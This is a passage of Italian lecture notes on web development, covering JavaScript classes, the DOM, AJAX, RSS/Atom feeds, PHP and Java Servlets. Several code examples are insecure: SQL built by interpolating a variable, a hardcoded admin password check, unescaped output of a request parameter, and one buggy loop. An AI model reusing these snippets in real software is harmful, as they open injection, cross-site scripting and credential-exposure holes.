3     this.name = name;
4   }
5   speak() {
6     console.log(this.name + ' makes a noise.');
```

Si possono anche estendere le classi tradizionali basate su funzioni:

```
1 function Animal(name) {
2     this.name = name;
3 }
4 Animal.prototype.speak = function() {
5     console.log(this.name + ' makes a noise.');
```

```
6 };
7
8 class Dog extends Animal {
9     speak() {
10         super.speak();
11         console.log(this.name + ' barks.');
```

```
12     }
13 }
14
15 var d = new Dog('Mitzie');
16 d.speak();
```

7.14.7 Superclassi con super

La keyword `super` è usata per chiamare le funzioni di un oggetto padre.

```
1 class Cat {
2     constructor(name) {
3         this.name = name;
4     }
5     speak() {
6         console.log(this.name + ' makes a noise.');
```

```
7     }
8 }
9
10 class Lion extends Cat {
11     speak() {
12         super.speak();
13         console.log(this.name + ' roars.');
```

```
14     }
15 }
```

7.15 Document Object Model (DOM)

“The Document Object Model is a platform- and language-neutral interface that will allow programs and scripts to dynamically access and update the content, structure and style of documents. The document can be further processed and the results of that processing can be incorporated back into the presented page.” — W3C

I browser possono utilizzare un loro DOM, per cui possono esserci differenze nell'interfaccia (DOM) dipendenti dal browser. JavaScript può interagire con il DOM, come altri linguaggi.

7.15.1 Verifica supporto DOM level 1

```
1 <script type="text/javascript">
2 function domw3c() {
3     if(document.getElementById) {
4         // il browser supporta il DOM di livello 1 del W3C
5         alert(":) DOM Supportato!");
6     }
7     else {
8         // il browser NON supporta il DOM di livello 1 del W3C
9         alert(":( DOM NON Supportato!");
10    }
11 }
12 </script>
```

7.15.2 Tipi di nodi

- **Documento:** normalmente esiste un solo nodo di questo tipo nella rappresentazione di una pagina HTML e costituisce la radice dell'albero; in presenza di pagine con frame ci sono più nodi di tipo documento.
- **Elemento:** un nodo di tipo elemento individua in genere un tag HTML, come ad esempio <body>, <div>, <p>.
- **Attributo:** un nodo di tipo attributo corrisponde ad un attributo di un tag HTML, come ad esempio l'attributo src del tag .
- **Testo:** un nodo di tipo testo corrisponde al contenuto testuale di un nodo, compresi eventuali spazi e caratteri speciali.

7.16 Selezionare gli elementi

7.16.1 Per id

```
1 <p id="mio_par">This is a paragraph.</p>
2 <script type="text/javascript">
3 console.log(document.getElementById('mio_par'));
4 </script>
```

7.16.2 Per tag

```
1 <p id="mio_par">This is a paragraph.</p>
2 <p id="mio_par2">This is a paragraph.</p>
3 <script type="text/javascript">
4 console.log(document.getElementsByTagName('p'));
5 </script>
```

7.16.3 Query selector

Utilizzano i selettori CSS:

```
1 var divList = document.querySelectorAll("div.messaggio");
2 var p = document.querySelector("#mioParagrafo");
```

7.17 Modificare elementi del DOM

```
1 var p = document.getElementById("mioParagrafo");
2 p.innerHTML = "Testo del <b>paragrafo</b>";
```

Metodi per gli attributi:

- `hasAttribute(attrName)`: restituisce `true` se l'elemento ha l'attributo specificato come parametro.
- `hasAttributes()`: restituisce `true` se l'elemento ha almeno un attributo valorizzato.
- `getAttribute(attrName)`: restituisce il valore dell'attributo specificato come parametro.
- `setAttribute(attrName, value)`: imposta un valore per un attributo.

7.17.1 Attributi e proprietà

Alcuni attributi sono accessibili come proprietà dell'oggetto (elemento).

```
1 var imgList = document.getElementsByTagName("img");
2
3 for(var i = 0; i < imgList.length; i++) {
4     if (!imgList[i].src)
5         imgList[i].src = "default.png";
6 }
```

Gli elementi restituiti sono oggetti, e come tali in JavaScript possono essere modificati:

```
1 var img = document.getElementById("miaImmagine");
2 img.miaProprieta = "nuovo valore";
```

Attenzione alla differenza tra proprietà e attributi:

```
1 
```

```
1 var img = document.getElementById("miaImmagine");
2 console.log(img.src); // "http://www.html.it/default
  .png"
3 console.log(img.getAttribute("src")); // "default.png"
```

Con input:

```
1 <input id="txtNome" type="text" value="Mario" />
```

Inizialmente i valori dell'attributo `value` e della corrispondente proprietà coincidono. Ma se l'utente cambia il valore della casella di testo avremo valori differenti tra proprietà e attributo. In particolare, la proprietà `value` sarà sincronizzata con il nuovo valore inserito dall'utente, mentre l'attributo continuerà ad avere il valore iniziale.

7.18 Navigare il DOM

```
1 <div id="mainDiv">
2   <h1>Titolo</h1>
3   <p>Un paragrafo</p>
4   <p>Un altro paragrafo</p>
5 </div>
```

```
1 var div = document.getElementById("mainDiv");
2
3 for (var i = 0; i < div.childNodes.length; i++) {
4   console.log(div.childNodes[i].innerHTML);
5   // attenzione al testo
6 }
```

7.18.1 Trovare siblings

```
1 var me = document.getElementById("mainDiv");
2 var allSiblings = me.parentNode.childNodes;
3 var mySiblings = [];
4
5 for (var i = 0; i < allSiblings.length; i++) {
6   if (allSiblings[i] !== me) {
7     mySiblings.push(allSiblings[i]);
8   }
9 }
10
11 // Oppure
12 [].forEach.call(allSiblings, function(el) {
13   if (el !== me) mySiblings.push(el);
14 });
```

7.19 Aggiungere e rimuovere elementi del DOM

```
1 var mainDiv = document.getElementById("mainDiv");
2 var img = document.createElement("img");
3 var srcAttr = document.createAttribute("src");
4
5 srcAttr.value = "default.png";
6 img.setAttributeNode(srcAttr);
```

```
7  
8 mainDiv.appendChild(img);
```

7.20 Eventi del DOM

7.20.1 Attraverso addEventListener

```
1 <a href="#" id="test">test</a>  
2 <script>  
3 // definisce la funzione callback  
4 function clickOnTest(event) {  
5     console.log('Click su test');  
6 }  
7  
8 // ottiene l'elemento 'test'  
9 var test = document.getElementById('test');  
10  
11 // associa l'evento click alla callback  
12 test.addEventListener('click', clickOnTest);  
13 </script>
```

7.20.2 Attraverso gli attributi

```
1 <a href="#" onclick="alert(this.innerHTML)">Ciao</a>
```

7.20.3 Attraverso le proprietà

```
1 document.images[0].onload = alert('Immagine caricata');
```

8 - AJAX e Web 2.0

8.1 Lo scenario: Web 2.0

Web 2.0 è un termine introdotto per la prima volta nel 2004 come titolo di una conferenza promossa dalla casa editrice O'Reilly: l'idea era che ci si stesse avviando verso una nuova concezione del Web (“versione” 2.0), in contrapposizione con la “vecchia” concezione (“versione” 1.0).

È il Web come lo conosciamo oggi. È stato (ed in parte continua ad essere) un concetto confuso e sfaccettato; generalmente si indicano una serie di concetti che caratterizzano questa evoluzione.

8.1.1 Caratteristiche (rispetto al Web 1.0)

1. **Aumento dell'interattività:** non ci si limita più a “navigare”, ma si “fanno cose” (si compra, si gioca, si discute, ecc.), attraverso un'esperienza interattiva complessa.
2. **Le applicazioni web si sostituiscono a quelle installate sul proprio computer** (es. word-processors, strumenti di gestione, ecc.). I programmi (software) non sono più “prodotti”, ma diventano *servizi* (sono erogati e pagati come tali), cioè sono resi disponibili su un Web Server e possono essere utilizzati attraverso un normale Web Browser. Il principale strumento tecnologico è AJAX.
3. **Le applicazioni web sono spesso costruite aggregando contenuti e servizi offerti da terze parti:**
 - aggregazione di contenuti (es. RSS e Atom);
 - aggregazione di servizi (*mashup*): Open API, servizi RESTful, SOAP Web Services.

8.2 Tecnologie per applicazioni web

8.2.1 Client-side

- JavaScript (e jQuery)

8.2.2 Server-side

- PHP
- JSP e Java Servlet
- ASP.NET

- Ruby, Python e Perl

8.2.3 Approcci ibridi

- AJAX (JavaScript e jQuery)

Alcune soluzioni sono tecnologie *client-side* (il codice è elaborato sul client, dal browser), altre sono *server-side* (il codice è elaborato sul server), altre sono miste.

8.3 AJAX

AJAX permette di rendere la user experience esperita nell'interazione con le applicazioni web simile a quella esperita nell'interazione con applicazioni “desktop” (stand-alone).

AJAX = *Asynchronous JavaScript and XML*, termine coniato nel febbraio del 2005 da Jesse James Garrett, per descrivere un modo di utilizzare congiuntamente diverse tecnologie esistenti:

- HTML (e CSS) — client-side
- JavaScript + DOM — client-side
- XMLHttpRequest (oggetto JavaScript) — client-side
- Programmi (o script) server-side (PHP, Servlet, ...)

AJAX è una nuova etichetta per riassumere l'utilizzo congiunto di tecnologie preesistenti.

8.3.1 Sincrono vs asincrono

Applicazioni Web tradizionali (con tecnologie server-side) — funzionamento sincrono:

- per ogni interazione con l'utente (per es. click su un link) inviano al server una richiesta (HTTP request) per una nuova pagina;
- il client aspetta la risposta del server (e l'utente anche!);
- la risposta del server (HTTP response) contiene l'intera nuova pagina;
- ciò comporta uno spreco di banda e un'interfaccia utente molto più lenta di quanto potrebbe essere.

Applicazioni AJAX — funzionamento asincrono:

- sono in grado di inviare al Web Server richieste asincrone (mentre l'utente può continuare ad interagire con la pagina) e parziali (relative solo ai dati necessari);

- di conseguenza consentono un'interazione più veloce (la quantità di dati che è necessario inviare al/ricevere dal server è minore) e in modalità asincrona (senza attesa).

8.4 Funzionamento tipico di un'applicazione AJAX

1. Si carica nel browser una pagina web (`.html`) che contiene degli script client-side (JavaScript) che intercettano eventi relativi a parti della pagina (mediante il DOM).
2. In risposta ad un qualche evento (es. click), JavaScript chiede all'oggetto `XMLHttpRequest` di inviare al server una richiesta (HTTP request), con l'indicazione di una risorsa server-side (es. PHP).
3. Sul server, un programma (o uno script) server-side elabora la risposta e la invia all'oggetto `XMLHttpRequest`, da cui lo script client-side la preleva e modifica di conseguenza una parte di pagina (mediante il DOM).

In altre parole, è l'oggetto `XMLHttpRequest` che agisce da Client HTTP nei confronti del Web Server, cioè:

- invia la richiesta (HTTP request) al Web Server;
- riceve la risposta (HTTP response) del Web Server.

Nota 1: il Web Server “non si accorge di niente”. Riceve infatti una “normale” HTTP request da parte di un HTTP Client (rappresentato dall'oggetto `XMLHttpRequest`).

Nota 2: AJAX non è una via di mezzo tra client-side e server-side (la computazione non può mai avvenire ... “a metà strada”), ma l'*uso congiunto* di tecnologie client-side e server-side.

8.5 Esempi di AJAX

8.5.1 Esempio 1: autocompletamento CAP

L'utente digita città, via e numero. Il sistema scrive automaticamente il CAP.

Script JavaScript:

```
1 function callServerCity(c) {  
2     var innominato = new XMLHttpRequest();  
3     innominato.onreadystatechange = function () {  
4         if (innominato.readyState == 4) {  
5             document.getElementById("cap").value =  
6                 innominato.responseText;  
7         }  
8     };  
9     innominato.open("GET", "getCap.php?city=" + c, true);  
10    innominato.send(null);  
11 }
```

Codice HTML:

```
1 <FORM ...>
2   ...
3   <INPUT TYPE="text" ID="citta"
4       onChange="callServerCity(this.value);">
5   <INPUT TYPE="text" ID="cap">
6   ...
7 </FORM>
```

8.5.2 Esempio 2: menu dinamici

Inizialmente un menu è vuoto. L'utente seleziona un argomento e il sistema popola automaticamente il secondo menu. In un'applicazione tradizionale questo sarebbe impossibile (o quasi); con AJAX invece uno script JavaScript intercetta l'evento e invia una richiesta asincrona per ottenere l'elenco degli esami associati a quell'argomento.

8.5.3 Esempio 3: carrello

Quando l'utente clicca su “acquista”, uno script JavaScript intercetta l'evento e invia una richiesta asincrona al server nella quale si chiede di aggiornare i dati del carrello. Il contenuto del carrello viene inviato all'oggetto `XMLHttpRequest` e inserito nella pagina, senza ricaricarla.

8.5.4 Esempio 4: Single Page Application

È ormai molto usato costruire applicazioni web **single page**: si costruisce un'unica pagina HTML e si gestiscono tutte le interazioni con il server attraverso chiamate AJAX, non ricaricando mai l'intera pagina.

Attenzione: l'approccio single page non è privo di problemi (es. performance, SEO, ...).

8.6 Formati di risposta

La risposta del server può essere codificata in diversi formati:

8.6.1 Testo semplice

```
1 10100
```

8.6.2 JSON

```
1 {  
2   "city": "Torino",  
3   "cap": 10100,  
4   "districts": ["Aurora", "Cenisia", "Vanchiglia", ...]  
5 }
```

8.6.3 XML

```
1 <?xml version="1.0" encoding="UTF-8"?>  
2 <city>  
3   <name>Torino</name>  
4   <cap>10100</cap>  
5   <districts>  
6     <d circ="7">Aurora</d>  
7     <d circ="3">Cenisia</d>  
8     <d circ="7">Vanchiglia</d>  
9   </districts>  
10 </city>
```

8.6.4 JSON e XML

JSON (JavaScript Object Notation) è un formato testuale molto usato per lo scambio di dati in applicazioni client-server. È basato su due strutture: insiemi di coppie nome-valore e liste ordinate di valori.

XML (eXtensible Markup Language) è un formato testuale standard, definito dal W3C e utilizzato per la rappresentazione di dati e di contenuti strutturati. È un *meta-linguaggio*, in quanto consente la definizione di nuovi tag, attributi, ecc., cioè la definizione di nuovi linguaggi di mark-up (vedremo vari esempi: RSS, Atom, WSDL, SOAP).

8.7 AJAX e jQuery

jQuery (jquery.com) è una libreria JavaScript che nasconde la complessità dell'interazione diretta con il DOM e con XMLHttpRequest (AJAX). Con jQuery è possibile:

- interagire con il DOM;
- inviare richieste (e ricevere risposte) asincrone e parziali (d)al Web Server, secondo il modello AJAX.

8.7.1 Esempio con jQuery

```
1 $("input#citta").change(function() {  
2   var c = $("#citta").val();  
3   $.ajax({
```

```

4      type: "GET",
5      dataType: "html",
6      url: "getCap.php",
7      data: "city=" + c,
8      success: function(cap) {
9          $("#cap").val(cap);
10     }
11 });
12 });

```

```

1 <FORM ...>
2     ...
3     <INPUT TYPE="text" ID="citta">
4     <INPUT TYPE="text" ID="cap">
5     ...
6 </FORM>

```

8.8 Aggregare contenuti: RSS e Atom

8.8.1 RSS

RSS può significare *RDF Site Summary* oppure *Really Simple Syndication*.

Syndication: diffusione di notizie tramite un'agenzia di stampa.

Web syndication: diffusione di contenuti (tipicamente news) tramite i canali Web.

RSS è un formato (linguaggio di markup) standard, basato su XML, utilizzato per la distribuzione di contenuti sul Web. Definisce la struttura di una “notizia” (contenuto informativo), articolandola in vari campi (es. autore, titolo, categoria, data di pubblicazione, ...).

Un sito può pubblicare i propri contenuti in formato RSS e altri siti/applicazioni possono leggerli automaticamente. La pubblicazione di contenuti in formato RSS su Web si chiama **RSS feed**.

Un RSS feed può essere letto da:

- un **RSS reader** o **feed reader**: applicazioni client alle quali vengono fornite le indicazioni su quali feed “sottoscrivere” e che periodicamente scaricano tali feed e li visualizzano;
- siti Web che aggregano notizie (scaricate da altri siti che pubblicano feed) e le visualizzano (eventualmente riorganizzando il contenuto). Questi sono casi di aggregazione (*mashup*) di contenuti.

8.8.2 Esempio di lettura di feed RSS con PHP

```

1 <?php
2 $xmldom = new DOMDocument();
3 $xmldom->load("http://www.yourSite.it/blog/feed.xml");
4 $nodo = $xmldom->getElementsByTagName("item");

```

```

5 for ($i = 0; $i <= $nodo->length - 1; $i++) {
6     $titolo = $nodo->item($i)->getElementsByTagName("title")...;
7     $des = $nodo->item($i)->getElementsByTagName("description")...;
8     ?>
9     <h1><?= $titolo ?></h1>
10    <p><?= $des ?></p>
11 <?php } ?>

```

8.8.3 Esempio di feed RSS

```

1 <?xml version="1.0" encoding="UTF-8"?>
2 <rss version="2.0">
3 <channel>
4     <title>Repubblica.it &gt; Politica</title>
5     <link>http://www.repubblica.it/politica</link>
6     <description>
7         <![CDATA[Repubblica.it: articoli dalla sezione Politica]]>
8     </description>
9     <language>it-IT</language>
10    <copyright>Copyright 2012 - Gruppo Ed. l'Espresso</copyright>
11    <pubDate>Thu, 22 Mar 2012 20:54:26 +0100</pubDate>
12    <item>
13        <title><![CDATA[Articolo 18...]]></title>
14        <author><![CDATA[redaz@repubblica.it]]></author>
15        <category domain="http://www.repubblica.it">
16            <![CDATA[politica]]>
17        </category>
18        <pubDate>Thu, 22 Mar 2012 09:35:00 +0100</pubDate>
19        <description>
20            Domani la riforma arriva al Cdm...
21        </description>
22    </item>
23 </channel>
24 </rss>

```

È un esempio di markup “semantico”: i tag caratterizzano il “contenuto”, specificando il “significato” delle varie porzioni di informazione.

8.8.4 Atom

Un formato alternativo per i feed, più recente di RSS, è **Atom**.

Atom Syndication Format: formato (linguaggio di markup) standard, basato su XML, utilizzato per la distribuzione di contenuti sul Web (Atom feed).

W3C Feed Validation Service: servizio online gratuito del W3C che controlla la validità (sintattica) di feed RSS e Atom: validator.w3.org/feed.

```

1 <?xml version="1.0" encoding="utf-8"?>
2 <feed xmlns="http://www.w3.org/2005/Atom">
3     <title>Feed di esempio</title>
4     <subtitle>Testo del sotto-titolo qui</subtitle>
5     <link href="http://example.org/" />
6     <updated>2003-12-13T18:30:02Z</updated>

```

```
7   <author>
8     <name>jonny doe</name>
9     <email>jonny@mail.com</email>
10  </author>
11  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>
12  <entry>
13    <title>I robots Atom usano Amok</title>
14    <link href="http://example.org/2003/12/13/atom03"/>
15    <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
16    <updated>2003-12-13T18:30:02Z</updated>
17    <summary>Testo del sommario.</summary>
18  </entry>
19 </feed>
```

Listing 8.1: Esempio di Atom feed

8.9 Aggregare servizi: mashup

Un **mashup** (“rimescolamento”) è un’applicazione web che riutilizza funzionalità offerte in rete da altri per creare servizi nuovi.

Da Wikipedia: in informatica un mash-up è un sito o un’applicazione web di tipo ibrido, cioè tale da includere dinamicamente informazioni o contenuti provenienti da più fonti. Un esempio potrebbe essere un programma che, acquisendo da un sito web una lista di appartamenti, ne mostra l’ubicazione utilizzando il servizio Google Maps per evidenziare il luogo in cui gli stessi appartamenti sono localizzati.

Il contenuto dei mash-up è normalmente preso da terzi via API, tramite feed (es. RSS e Atom) o JavaScript.

8.10 Aggregare servizi: Open API

API = Application Programming Interface (Interfaccia di Programmazione di un’Applicazione) = strumento (“insieme di istruzioni”) per rendere disponibile ad altri programmatori le funzionalità di un programma.

Open = “aperte”, disponibili a tutti.

Un’applicazione web, oltre ad avere una User Interface, può offrire delle Open API, cioè delle API disponibili sul Web (che sfruttano le tecnologie del Web, per es. i protocolli come HTTP). Un programmatore può includere nel suo programma funzionalità offerte da altri programmi (applicazioni web) invocando API in remoto (cioè via Web/HTTP).

8.10.1 Esempio: Google Maps API

```
1 <div id="map"></div>
2 <script>
3 map = new google.maps.Map(
```

```
4     document.getElementById("map"),
5     options
6 );
7 </script>
```

La variabile che contiene le proprietà della nuova mappa è un oggetto JSON:

```
1 options = {
2     zoom: 14,
3     center: new google.maps.LatLng(45.06, 7.68),
4     mapTypeId: google.maps.MapTypeId.ROADMAP
5 };
```

8.10.2 Open API vs Open Source

Benché condividano la filosofia di fondo (“apertura”), sono due concetti diversi:

- **Open API:** non si scarica nulla, ma si possono solo usare (“invocare”) le funzioni disponibili. Es. le Open API di Google Maps mettono a disposizione una funzione per centrare una mappa su un punto geografico, ma non si ha accesso al codice sorgente.
- **Open Source:** si scarica il programma (codice sorgente) e lo si può modificare.

8.11 Web Services: REST e SOAP/WSDL

I servizi che mettono a disposizione Open API dipendono da uno specifico linguaggio di programmazione (per es., per utilizzare GMaps API, occorre usare JavaScript).

L’idea alla base dei **Web Services** che utilizzano interfacce basate su REST o su SOAP/WSDL è di offrire la possibilità di interagire con il servizio **indipendentemente dal linguaggio di programmazione** utilizzato per implementare quel servizio, permettendo di far interagire in modo “trasparente” applicazioni sviluppate con linguaggi di programmazione eterogenei (e che girano su piattaforme o sistemi operativi diversi).

9 - Tecnologie Server-side

9.1 Introduzione alle tecnologie server-side

Le principali tecnologie per costruire applicazioni web possono essere distinte in:

- **Client-side:** il codice è elaborato sul client, dal browser. Es. JavaScript (e jQuery).
- **Server-side:** il codice è elaborato sul server. Es. PHP, Java Servlet e JSP, ASP.NET, Ruby, Python, Perl.
- **Approcci ibridi:** es. AJAX (jQuery).

Le tecnologie server-side servono principalmente per:

1. Acquisire informazioni dal client, per esempio dati inseriti dall'utente in un modulo online o dati contenuti in un link.
2. Inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente).

Per far funzionare una tecnologia server-side è necessario che il Web Server la *supporti*; cosa significa dipende dalla specifica tecnologia. Inoltre, siccome tipicamente le tecnologie server-side interagiscono con un database, è necessario che sul server ci sia un DBMS che supporti l'interazione con il database prescelto.

9.2 Inviare dati al Web Server

9.2.1 Metodi di invio

I dati da inviare al Web Server possono derivare da:

- Moduli online (**form**).
- Link con parametri.

Il client invia i dati al Web Server inserendoli nell'HTTP request. Esistono due modi per codificare i dati:

- Metodo **GET**.
- Metodo **POST**.

9.2.2 Moduli online (form)

In HTML, un modulo online contiene campi di input, un metodo e un'azione:


```
1 <FORM METHOD="POST" ACTION="identif.php">
2   Login: <INPUT TYPE="text" NAME="login"/>
3   Password: <INPUT TYPE="password" NAME="pwd"/>
4   <INPUT TYPE="Submit" VALUE="OK"/>
5 </FORM>
```

- **Campi di input:** elementi attraverso cui l'utente fornisce dei dati. Tra i campi di input c'è anche il pulsante di invio.
- **Metodo** (attributo **METHOD**): modo in cui vengono codificati i dati da inviare al server (POST o GET).
- **Azione** (attributo **ACTION**): script o programma server-side che raccoglie ed elabora i dati contenuti nel form.

I dati inseriti dall'utente assumono la forma di coppie **<nome, valore>**, dove:

- **nome** = valore dell'attributo **name** nel tag HTML.
- **valore** = ciò che l'utente ha scritto o selezionato.

9.2.3 Contenuto della HTTP request

Quando l'utente fa click sul pulsante di invio, viene costruita una HTTP request che contiene:

- L'indicazione della risorsa server-side (script o programma) che gestirà i dati, ricavata dall'attributo **ACTION**.
- I dati, nella forma di coppie **<nome, valore>**, ricavati dai campi di input riempiti/selezionati dall'utente.

9.2.4 Differenza tra i metodi GET e POST

Metodo GET (richiesta di una risorsa): eventuali dati, cioè le coppie **<nome, valore>**, sono scritti in coda alla risorsa richiesta; saranno quindi visibili nell'URL (nella barra degli indirizzi del browser). Per esempio:

```
HTTP header
risorsa = identif.php?login=admin&pwd=pippo
...
HTTP body
...
```

Metodo POST (invio di dati al server + indicazione della risorsa che li deve elaborare): i dati (parametri) sono scritti all'interno del corpo (**body**) dell'HTTP request; non saranno quindi visibili nella barra degli indirizzi del browser. Per esempio:

```
HTTP header
risorsa = identif.php
...
HTTP body
dati: <login, admin>
      <pwd, pippo>
```

9.2.5 Link con parametri

In HTML, un link con parametri si scrive così:

```
1 <A HREF="param.php?risposta=alan">Alan</A><BR>
2 <A HREF="param.php?risposta=kit">Kit</A><BR>
3 <A HREF="param.php?risposta=john">John</A>
```

Quando l'utente fa click sul link, viene costruita una HTTP request che contiene l'indicazione della risorsa server-side (nel link, attributo **HREF**) insieme ai dati. Il metodo usato per la codifica dei dati è **GET**.

9.2.6 URL rewriting

L'URL rewriting è utilizzato per gestire la sessione se i cookies sono stati disattivati: il Web Server scrive il session-id come parametro degli URL presenti nella pagina. Quando il client deve costruire una HTTP request (per es. quando l'utente clicca su un link), all'URL indicato nell'HTTP request viene aggiunto il session-id. Per esempio:

```
1 <A HREF="adduser.php">
```

diventa:

```
1 <A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60">
```

9.3 Salvare i dati in un database

9.3.1 Database e DBMS

I database ci permettono di salvare dati in modo strutturato. Esistono diverse tipologie di database: relazionali, a oggetti, ecc. I più utilizzati sono i database relazionali.

La struttura di un database relazionale può essere definita a vari livelli: concettuale, logico e fisico.

9.3.2 Livello logico: rappresentazione tabellare

Esempio della tabella LIBRI:

NumInv	Autore	Titolo	Anno_ed	Editore
123	Allende	Eva Luna	...	Feltrinelli
456	Benni	Terra!	...	Feltrinelli
789	Voltolini	10	...	Feltrinelli

Quando si vuole costruire una tabella, bisogna innanzitutto definire la sua struttura: i nomi dei campi (colonne) e i tipi di dati in essi contenuti.

9.3.3 Interazione con un database

L'interazione può avvenire tramite una User Interface oppure tramite uno script/programma server-side:

- **Interrogazione** (leggere dal DB).
- **Manipolazione di dati**: inserimento, cancellazione, aggiornamento.
- **Modifiche strutturali** (creazione tabelle, ecc.).
- **Modifiche dei permessi** di accesso.

Ogni interazione con la base di dati viene interpretata, analizzata ed eseguita dal DBMS (DataBase Management System) e costituisce una query, espressa in SQL (Structured Query Language). Per esempio:

```
1  -- Interrogazione
2  SELECT * FROM libri WHERE Editore='Feltrinelli'
3
4  -- Manipolazione
5  INSERT INTO utenti (nome, eta) VALUES('lia', 23)
6  DELETE FROM libri WHERE NumInv='123-ab'
7
8  -- Modifiche strutturali
9  DROP TABLE utenti
10
11 -- Modifiche dei permessi
12 GRANT ALL ON myDB.* TO 'anna'@'localhost'
```

Se è un'interrogazione (SQL `SELECT`), restituisce come risultato un insieme di record (recordset). Se è una manipolazione di dati (`INSERT`, `DELETE`, `UPDATE`) o di elementi strutturali (`DROP TABLE`), o di permessi, restituisce un'indicazione di successo o errore (tipicamente `true` o `false`).

9.4 PHP

9.4.1 Che cos'è PHP

PHP (php.net) è:

- Un linguaggio di programmazione ad alto livello.

- Pensato per il web, cioè in grado di leggere il contenuto della HTTP request proveniente dal client e scrivere all'interno della HTTP response che verrà inviata al client.
- Interpretato (da un interprete PHP).
- Server-side (cioè interpretato ed eseguito sul server).
- Open Source: l'interprete PHP è distribuito secondo la filosofia Open Source.

9.4.2 Struttura di un'applicazione PHP

Un'applicazione web scritta in PHP è un insieme di pagine web, cioè file di testo con estensione `.php`, che contengono:

- Codice HTML (ed eventualmente JavaScript client-side).
- Codice PHP = programma (script) server-side.

Esempio:

```
1 <H1>PHP: esempio</H1>
2 <?php
3     $id = $_POST["login"];
4     $pwd = $_POST["password"];
5     if ($id == "admin" && $pwd == "pippo") {
6         echo "<P>Benvenuto amministratore!</P>";
7     }
8     else {
9         echo "<P>Buongiorno ".$id."</P>";
10    }
11 ?>
12 <P>
13 Questa e' una pagina web dinamica
14 </P>
```

9.4.3 Funzionamento di PHP

Cosa succede quando il browser invia una HTTP request al server basata su un URL del tipo <http://www.esempio.it/dida.php>?

- Il Web Server si accorge, grazie all'estensione del file indicato nell'URL, che la risorsa richiesta è una pagina PHP: gira l'HTTP request all'interprete PHP.
- L'interprete PHP interpreta (ed esegue) gli script contenuti nella pagina indicata. Tipicamente, alcune istruzioni PHP gli diranno di:
 - Leggere i dati (parametri) contenuti nell'HTTP request. Per esempio:

```
1 $id = $_GET["username"];
2 // oppure
3 $id = $_POST["username"];
4
```

- Connettersi a un database (per leggere o scrivere dati). Per esempio:

```
1 $r = $db->query("SELECT * from libri WHERE titolo='$tit'")
2 ;
```

- L'esecuzione dello script PHP produce un risultato, tipicamente del testo o del codice HTML, che viene inserito nella pagina al posto dello script.
- La pagina risultante, composta dall'HTML originario + il risultato dell'esecuzione dello script, viene inviata al browser.

Altro esempio di HTML + PHP con le shortcut `<?= ?>`:

```
1 <?php
2     $p = "Everything";
3 ?>
4 <p>
5 The answer to the ultimate question of Life, the
6 Universe and <?= $p ?> is <?= 6*7 ?>
7 </p>
```

Output:

The answer to the ultimate question of Life,
the Universe and Everything is 42

9.4.4 Stack LAMP

Tipicamente PHP è utilizzato in combinazione con altre tecnologie:

- **Linux**: Sistema operativo (www.linuxfoundation.org).
- **Apache**: Web server (www.apache.org).
- **MySQL/MariaDB**: DBMS (www.mysql.com, mariadb.org).
- **PHP**: Interprete script server-side (www.php.net).

Questa combinazione è nota come **LAMP**. Sono possibili combinazioni diverse:

- **WAMP**: Windows + Apache + MySQL/MariaDB + PHP.
- **MAMP**: Mac OS + Apache + MySQL/MariaDB + PHP.
- **XAMPP**: pacchetto multi-piattaforma (www.apachefriends.org) contenente Apache, MySQL/MariaDB, PHP e Perl.

9.4.5 Esempio di interazione con un DB tramite PHP

```
1 <h1>I miei film</h1>
2 <ul>
3 <?php
4     $db = new PDO("mysql:dbname=myMovies;host=localhost",
5                   "anna", "annaPwd");
6     $rows = $db->query("SELECT * FROM movies WHERE year=2015");
7     foreach ($rows as $row) {
8     ?>
9         <li><?= $rows["name"] ?> stelle: <?= $rows["stars"] ?></li>
10    <?php
11        }
12    ?>
13 </ul>
```

9.5 Digressione: Open Source

Open Source Initiative (OSI, www.opensource.org) è un'associazione no-profit che ha l'obiettivo di gestire e promuovere la produzione di software open source. Il software open source (o software libero) deve rispettare una serie di criteri:

- Il codice sorgente del programma deve essere disponibile.
- Il software può essere modificato e distribuito (con un nome diverso) alle stesse condizioni.
- La licenza del software deve consentire a chiunque di ridistribuire il software secondo le stesse modalità.
- Chiunque può partecipare allo sviluppo del software.
- Il software deve essere distribuito gratuitamente (senza diritti d'autore o profitti).

L'idea alla base dell'Open Source Initiative è che quando i programmatori possono leggere, modificare e ridistribuire il codice sorgente di un programma, quel software si evolve: la gente lo migliora, lo adatta, lo corregge. Questo rapido processo evolutivo produce software migliore rispetto al tradizionale modello chiuso.

9.6 Java Servlet

9.6.1 Premessa su Java

Java (www.java.com) è:

- Un linguaggio di programmazione ad alto livello, orientato agli oggetti.
- Per la traduzione dei sorgenti in linguaggio macchina utilizza un approccio misto: il sorgente (`myProgram.java`) viene compilato da un compilatore Java, che genera un file in bytecode (`myProgram.class`). Questo bytecode viene

interpretato ed eseguito da un interprete Java, generalmente chiamato Java Virtual Machine (JVM) o Java Runtime Environment (JRE).

- Server-side: il bytecode viene interpretato ed eseguito sul server (la JVM risiede sul server).

Il compilatore e il bytecode sono indipendenti dalla macchina; la JVM invece, dovendo tradurre in linguaggio macchina specifico, dipende dalla macchina (S.O. + CPU).

9.6.2 Cosa sono le Java Servlet

Le **Java Servlet** sono programmi Java pensati per la programmazione web server-side. Devono soddisfare questi requisiti:

- Li si deve poter invocare tramite un URL, per esempio <http://www.esempio.it/didaManager>.
- Devono essere in grado di manipolare HTTP request e HTTP response. In particolare:
 - Il Web Server deve poter passare al programma la HTTP request proveniente dal client, contenente i dati, affinché la Servlet possa leggerne il contenuto.
 - Quando la Servlet ha elaborato il risultato (per es. un frammento di codice HTML), lo deve poter inserire nell'HTTP response che verrà inviata al client dal Web Server.

9.6.3 Esempio di Java Servlet

```
1 public class GeoMgr extends HttpServlet {
2     protected void doGet(HttpServletRequest request,
3                           HttpServletResponse response)
4         throws ServletException, IOException {
5         String param = request.getParameter("par");
6         response.setContentType("text/html; charset=UTF-8");
7         try (PrintWriter resp = response.getWriter()) {
8             resp.print("Parametro: " + param);
9         }
10    }
11
12    protected void doPost(HttpServletRequest request,
13                          HttpServletResponse response)
14        throws ServletException, IOException {
15        response.setContentType("text/html; charset=UTF-8");
16        try (PrintWriter resp = response.getWriter()) {
17            String geoMgrResponse = "";
18            // ...
19            resp.print(geoMgrResponse);
20        }
21    }
22 }
```

9.6.4 Funzionamento delle Java Servlet

